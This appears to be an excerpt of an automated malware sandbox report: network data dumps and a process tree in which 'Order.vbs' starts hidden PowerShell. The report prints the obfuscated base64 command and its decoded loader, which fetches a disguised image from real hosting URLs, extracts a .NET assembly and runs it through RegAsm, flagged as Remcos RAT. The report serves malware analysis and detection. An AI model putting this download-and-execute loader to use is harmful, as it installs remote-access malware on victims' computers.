UoDD6QQO8nD95weOknD35QdOMnDx5wbO0mDr5QaOcmDl5wYOEmDf5QXOslDZ5wVOUlDT5QUO8kDN5wSOkkDH5QROMkDB4wPO0jD74QOOcjD14wMOEjDv4QLOsiDp4wJOUiDj4QIO8hDd4wGOkhDX4QFOMhDR4wDO0gDL4QCOcgDF4wAOEcD/3Q/NsfD53w9NUfDz3Q8N8eDt3w6NkeDn3Q5NMeDh3w3N0dDb3Q2NcdDV3w0NEdDP3QzNscDJ3wx
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 44 48 7a 51 78 4d 51 4d 44 44 7a 67 77 4d 45 4d 44 41 79 77 76 4d 34 4c 44 38 79 67 4f 41 41 41 41 58 41 55 41 45 41 6f 44 48 36 67 68 4f 55 6f 44 45 36 77 67 4f 49 6f 44 42 36 41 51 4f 38 6e 44 65 72 54 67 44 35 51 66 4f 77 6e 44 37 35 67 65 4f 6b 6e 44 34 35 77 64 4f 59 6e 44 31 35 41 64 4f 4d 6e 44 79 35 51 63 4f 41 6e 44 76 35 67 62 4f 30 6d 44 73 35 77 61 4f 6f 6d 44 70 35 41 61 4f 63 6d 44 6d 35 51 5a 4f 51 6d 44 6a 35 67 59 4f 45 6d 44 67 35 77 58 4f 34 6c 44 64 35 41 58 4f 73 6c 44 61 35 51 57 4f 67 6c 44 58 35 67 56 4f 55 6c 44 55 35 77 55 4f 49 6c 44 52 35 41 55 4f 38 6b 44 4f 35 51 54 4f 77 6b 44 4c 35 67 53 4f 6b 6b 44 49 35 77 52 4f 59 6b 44 46 35 41 52 4f 4d 6b 44 43 35 51 51 4f 41 67 44 2f 34 67 50 4f 30 6a 44 38 34 77 4f 4f 6f 6a 44 35 34 Data Ascii: DHzQxMQMDDzgwMEMDAywvM4LD8ygOAAAAXAUAEAoDH6ghOUoDE6wgOIoDB6AQO8nDerTgD5QfOwnD75geOknD45wdOYnD15AdOMnDy5QcOAnDv5gbO0mDs5waOomDp5AaOcmDm5QZOQmDj5gYOEmDg5wXO4lDd5AXOslDa5QWOglDX5gVOUlDU5wUOIlDR5AUO8kDO5QTOwkDL5gSOkkDI5wROYkDF5AROMkDC5QQOAgD/4gPO0jD84wOOojD54
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 35 51 63 4f 38 6d 44 74 35 77 61 4f 6b 6d 44 6e 35 51 5a 4f 4d 6d 44 68 35 77 58 4f 30 6c 44 62 35 51 57 4f 63 6c 44 56 35 77 55 4f 45 6c 44 50 35 51 54 4f 73 6b 44 4a 35 77 52 4f 55 6b 44 44 35 51 41 4f 38 6a 44 39 34 77 4f 4f 6b 6a 44 33 34 51 4e 4f 4d 6a 44 78 34 77 4c 4f 30 69 44 72 34 51 4b 4f 63 69 44 6c 34 77 49 4f 45 69 44 66 34 51 48 4f 73 68 44 5a 34 77 46 4f 55 68 44 54 34 51 45 4f 38 67 44 4e 34 77 43 4f 6b 67 44 48 34 51 42 4f 4d 67 44 42 33 77 2f 4e 30 66 44 37 33 51 65 72 54 67 44 4e 63 66 44 31 33 77 38 4e 45 66 44 76 33 51 37 4e 73 65 44 70 33 77 35 4e 55 65 44 6a 33 51 34 4e 38 64 44 64 33 77 32 4e 6b 64 44 58 33 51 31 4e 4d 64 44 52 33 77 7a 4e 30 63 44 4c 33 51 79 4e 63 63 44 46 33 77 77 4e 45 59 44 2f 32 51 76 4e 73 62 44 35 32 77 74 Data Ascii: 5QcO8mDt5waOkmDn5QZOMmDh5wXO0lDb5QWOclDV5wUOElDP5QTOskDJ5wROUkDD5QAO8jD94wOOkjD34QNOMjDx4wLO0iDr4QKOciDl4wIOEiDf4QHOshDZ4wFOUhDT4QEO8gDN4wCOkgDH4QBOMgDB3w/N0fD73QerTgDNcfD13w8NEfDv3Q7NseDp3w5NUeDj3Q4N8dDd3w2NkdDX3Q1NMdDR3wzN0cDL3QyNccDF3wwNEYD/2QvNsbD52wt
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 54 34 7a 38 37 4d 33 4f 54 53 7a 30 7a 4d 78 4d 54 48 7a 45 68 4d 76 4b 7a 70 79 6b 6f 4d 42 4b 54 65 79 45 6e 4d 4f 49 54 42 78 34 64 4d 57 48 7a 76 78 73 5a 4d 66 46 54 49 77 51 4f 4d 6f 43 54 6d 77 6f 49 4d 58 42 7a 54 41 41 41 41 38 43 41 42 77 43 77 50 4c 65 72 54 67 44 7a 67 2f 73 33 50 7a 38 6a 44 65 72 54 67 44 77 75 50 48 37 44 75 65 72 54 67 44 6b 61 50 6b 7a 6a 6c 37 34 65 72 54 67 44 4f 53 76 6a 54 37 45 44 4f 6c 67 7a 48 34 73 77 4e 74 66 7a 32 33 59 74 4e 33 5a 7a 51 32 49 68 4e 4d 55 54 70 30 6f 4c 4e 72 53 7a 6e 30 38 49 4e 79 52 6a 61 30 41 30 4d 35 50 54 32 7a 30 38 4d 42 50 54 72 7a 45 36 4d 2f 4d 7a 4e 7a 6b 78 4d 52 4d 54 43 7a 45 67 4d 35 4c 44 70 79 67 49 4d 37 44 54 38 77 63 4d 4d 36 43 6a 54 77 55 45 4d 38 41 7a 4a 41 41 41 41 34 Data Ascii: T4z87M3OTSz0zMxMTHzEhMvKzpykoMBKTeyEnMOITBx4dMWHzvxsZMfFTIwQOMoCTmwoIMXBzTAAAA8CABwCwPLerTgDzg/s3Pz8jDerTgDwuPH7DuerTgDkaPkzjl74erTgDOSvjT7EDOlgzH4swNtfz23YtN3ZzQ2IhNMUTp0oLNrSzn08INyRja0A0M5PT2z08MBPTrzE6M/MzNzkxMRMTCzEgM5LDpygIM7DT8wcMM6CjTwUEM8AzJAAAA4
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 35 4d 52 4f 4c 67 54 2f 34 59 4c 4f 70 69 54 6c 34 4d 49 4f 62 63 54 75 33 41 67 4e 34 62 6a 36 32 6b 74 4e 4d 62 54 77 32 45 6f 4e 73 5a 44 57 32 77 6b 4e 44 55 7a 77 31 41 62 4e 4f 57 44 61 31 55 45 4e 38 54 7a 39 30 45 50 4e 73 54 6a 75 30 38 47 4e 49 52 44 46 7a 49 34 4d 76 4e 54 4f 7a 49 67 4d 4e 4c 44 78 79 59 72 4d 68 4b 54 63 79 6f 6c 4d 50 4a 7a 4f 79 41 6a 4d 72 49 6a 43 78 30 4e 41 41 41 41 6f 41 51 41 45 41 41 41 41 2f 73 38 50 77 65 72 54 67 44 44 65 2f 41 79 50 51 38 6a 42 65 72 54 67 44 6b 76 50 76 37 44 34 65 72 54 67 44 59 73 50 2f 36 44 75 65 72 54 67 44 45 72 50 65 72 54 67 44 35 54 61 65 72 54 67 44 51 6d 50 54 35 54 53 65 72 54 67 44 73 69 50 50 30 54 2f 39 73 65 50 63 33 6a 59 38 6b 46 50 79 73 7a 78 37 41 71 4f 37 66 6a 36 33 49 36 Data Ascii: 5MROLgT/4YLOpiTl4MIObcTu3AgN4bj62ktNMbTw2EoNsZDW2wkNDUzw1AbNOWDa1UEN8Tz90EPNsTju08GNIRDFzI4MvNTOzIgMNLDxyYrMhKTcyolMPJzOyAjMrIjCx0NAAAAoAQAEAAAA/s8PwerTgDDe/AyPQ8jBerTgDkvPv7D4erTgDYsP/6DuerTgDErPerTgD5TaerTgDQmPT5TSerTgDsiPP0T/9sePc3jY8kFPyszx7AqO7fj63I6
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 44 4d 31 45 66 4e 75 52 7a 72 30 55 4a 4e 6f 51 54 48 30 73 41 4e 46 45 44 35 77 59 45 41 41 41 41 56 41 4d 41 6f 41 41 41 41 2f 30 35 50 61 35 6a 4f 39 34 61 50 4e 32 6a 51 39 59 54 50 69 30 44 48 39 49 52 50 48 77 7a 67 38 73 48 50 7a 78 44 5a 38 6f 46 50 50 78 7a 47 37 4d 75 4f 63 72 54 6f 36 4d 6d 4f 48 70 7a 4d 35 63 65 4f 44 6e 6a 68 35 41 55 4f 6d 67 7a 2f 34 73 4d 4f 45 69 7a 65 34 6f 47 4f 46 68 54 4c 34 55 43 4f 5a 67 7a 42 33 34 65 72 54 67 44 4e 6d 66 7a 33 33 45 39 4e 45 66 7a 76 33 49 37 4e 74 65 44 70 33 59 35 4e 51 65 54 68 33 38 33 4e 30 64 44 62 33 45 32 4e 62 64 6a 53 33 55 30 4e 32 63 7a 41 32 41 76 4e 61 62 6a 7a 32 45 73 4e 38 61 6a 68 32 51 6e 4e 77 55 6a 73 31 73 5a 4e 46 51 7a 75 30 4d 4b 4e 55 52 54 53 7a 41 2f 4d 50 50 44 77 7a Data Ascii: DM1EfNuRzr0UJNoQTH0sANFED5wYEAAAAVAMAoAAAA/05Pa5jO94aPN2jQ9YTPi0DH9IRPHwzg8sHPzxDZ8oFPPxzG7MuOcrTo6MmOHpzM5ceODnjh5AUOmgz/4sMOEize4oGOFhTL4UCOZgzB34erTgDNmfz33E9NEfzv3I7NteDp3Y5NQeTh383N0dDb3E2NbdjS3U0N2czA2AvNabjz2EsN8ajh2QnNwUjs1sZNFQzu0MKNURTSzA/MPPDwz
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 44 30 51 50 77 77 44 75 38 55 4b 50 56 78 44 42 37 73 65 72 54 67 44 4f 66 76 54 7a 37 67 36 4f 65 75 6a 6a 37 6b 34 4f 42 75 54 55 37 77 30 4f 48 74 7a 4f 37 51 78 4f 50 73 6a 43 36 34 76 4f 61 72 54 31 36 41 74 4f 45 72 44 6f 36 73 70 4f 57 71 54 6a 36 59 6d 4f 68 70 44 58 36 77 6b 4f 71 6f 44 48 36 41 68 4f 42 6b 54 35 35 73 62 4f 7a 6d 44 6e 35 77 59 4f 51 6c 44 52 35 55 41 4f 61 6a 54 67 34 38 47 4f 6e 64 7a 37 30 30 65 72 54 67 44 4d 79 4f 44 68 7a 34 33 4d 79 42 41 41 41 51 49 41 43 41 4f 41 2f 77 39 50 59 2f 44 31 2f 41 39 50 4c 2f 6a 68 2f 41 7a 50 73 38 44 4b 2f 51 79 50 66 38 44 47 65 72 54 67 44 45 65 50 7a 30 54 4a 39 63 41 50 30 7a 44 52 38 45 77 4f 37 76 7a 36 37 49 38 4f 5a 75 7a 63 37 45 31 4f 4c 74 54 50 37 67 7a 4f 79 73 44 4c 37 59 79 Data Ascii: D0QPwwDu8UKPVxDB7serTgDOfvTz7g6Oeujj7k4OBuTU7w0OHtzO7QxOPsjC64vOarT16AtOErDo6spOWqTj6YmOhpDX6wkOqoDH6AhOBkT55sbOzmDn5wYOQlDR5UAOajTg48GOndz700erTgDMyODhz43MyBAAAQIACAOA/w9PY/D1/A9PL/jh/AzPs8DK/QyPf8DGerTgDEePz0TJ9cAP0zDR8EwO7vz67I8OZuzc7E1OLtTP7gzOysDL7Yy
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 74 50 45 37 6a 76 65 72 54 67 44 45 72 50 6f 35 7a 54 65 72 54 67 44 63 6b 50 67 34 7a 45 39 55 62 50 72 32 54 6d 39 4d 5a 50 4d 32 7a 64 39 45 56 50 41 31 44 4d 39 51 53 50 52 77 6a 2f 38 38 4b 50 44 75 54 4b 37 38 78 4f 56 73 7a 43 37 45 67 4f 37 66 7a 77 33 77 69 4e 66 61 54 44 31 59 49 4e 2f 54 44 65 7a 49 76 4d 6b 49 6a 45 78 30 66 4d 49 48 6a 70 78 6b 59 4d 71 46 44 56 78 63 54 4d 76 41 41 41 41 51 4a 41 43 41 4c 41 34 6b 4f 4f 55 6a 7a 76 34 49 47 41 41 41 41 45 41 49 41 6f 41 34 6a 41 39 38 4b 41 41 41 41 44 41 49 41 6b 41 30 6a 55 39 4d 55 4f 70 6d 54 6b 35 30 58 4f 38 41 41 41 41 51 42 41 43 41 49 41 41 41 41 50 72 79 54 6e 38 77 49 50 76 78 44 59 41 41 41 41 55 41 67 41 67 42 41 41 41 55 54 50 31 77 52 4e 4b 51 7a 65 72 54 67 44 30 55 4e 41 41 Data Ascii: tPE7jverTgDErPo5zTerTgDckPg4zE9UbPr2Tm9MZPM2zd9EVPA1DM9QSPRwj/88KPDuTK78xOVszC7EgO7fzw3wiNfaTD1YIN/TDezIvMkIjEx0fMIHjpxkYMqFDVxcTMvAAAAQJACALA4kOOUjzv4IGAAAAEAIAoA4jA98KAAAADAIAkA0jU9MUOpmTk50XO8AAAAQBACAIAAAAPryTn8wIPvxDYAAAAUAgAgBAAAUTP1wRNKQzerTgD0UNAA

Target ID:	1
Start time:	11:05:10
Start date:	21/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order.vbs"
Imagebase:	0x7ff64c410000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:05:11
Start date:	21/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#GQ#cgBt#G0#c#Bn#Gs#LwBu#Gk#YQBt#C8#cwBk#GE#ZQBo#C8#cwBm#GU#cg#v#GI#c#Bh#Hk#awBz#C8#QQBL#Ek#UwBF#EE#VwBV#EU#SgBJ#C8#bQBv#GM#LgB0#G4#ZQB0#G4#bwBj#HI#ZQBz#HU#YgB1#Gg#d#Bp#Gc#LgB3#GE#cg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	11:05:11
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	11:05:13
Start date:	21/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	11:05:22
Start date:	21/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x820000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	11:05:23
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	11:05:32
Start date:	21/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false